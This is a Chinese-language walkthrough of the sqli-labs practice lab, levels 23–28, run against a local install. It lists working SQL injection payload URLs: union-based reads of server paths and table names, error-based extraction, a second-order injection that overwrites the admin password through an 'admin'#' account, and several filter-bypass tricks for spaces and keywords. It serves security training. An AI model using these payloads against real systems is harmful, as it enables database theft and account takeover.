Less-23
过滤了#,–,那么我们需要采用闭合引号方式进行注入,
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1%27%20union%20select%201,@@basedir,%273
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1’ union select 1,@@datadir,'3
爆数据库
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
也可以采用闭合引号加报错注入
如,获取数据库
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1%27%20union%20select%201,database(),3%20or%20%271%27=%271
Less-24
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。 - 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
应。 - 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库
中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服
务端环境中执行。 - 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
入漏洞利用是否成功
首先我们查看下初始数据
用户名为admin,密码为1登入,然后修改密码为1111
修改成功后会出现修改成功的界面,我们再次查看下数据库里的数据
我们注册一个用户名为admin’#,密码为2222的账户
修改admin’#用户的密码为3333,
再次查看数据库的数据,发现admin的密码变成了3333,而admin‘#的密码没变,我们成功进行了注入。那这是为什么呢?
我们查看下源码,发现修改密码的sql语句如下
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
也就是我们注入的语句为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
PS:(#号表示注释,所以只会执行#号之前的语句)
Less-25
从本关的标题可以看出,本关使用or 和and过滤
看下源码,嗯是这么回事
那么如何绕过or和and注入呢
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
(5)双关键字,如oorr,中间的or被注释了,就是or了
127.0.0.1/sqli-labs-master/Less-25/?id=1and 1=1--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=1%27||%20extractvalue(1,concat(0x7e,database()))--+
Less-25a
通过源码对比我们可以知道,less25a与less25的区别是
1、id无引号包含
2、没有输出错误,故不能使用报错注入
其他与Less25无区别
http://127.0.0.1/sqli-labs-master/Less-25a/?id=1--+
联合注入
http://127.0.0.1/sqli-labs-master/Less-25a/?id=-1 union select 1,@@basedir,3--+
Less-26
观察源码可以发现
本关在前面的基础上过滤了or and 空格/*,#,–,/等各种符号过滤
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注意在windows系统下可能解析不了上面所说的空格的替换方法,所有大家请在linux系统下进行操作
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'%0b||'1
Less-26a
观察源码发现与Less-26的区别
id=(‘id’),注释掉了报错语句,那么我们就使用延时注入和联合注入
Less-27
过滤了union,select, Union,Select和 Less-26 关过滤掉的字符,只有我们把union,select改成大小写混合就可以了。
Less-27a
过滤了union,select ,Union,Select和 Less-26a 关过滤掉的字符,只有我们把union,select改成大小写混合就可以了。
http://127.0.0.1/sqli-labs-master/Less-27a/?id=1"%0b||"1
Less-28和less-27一样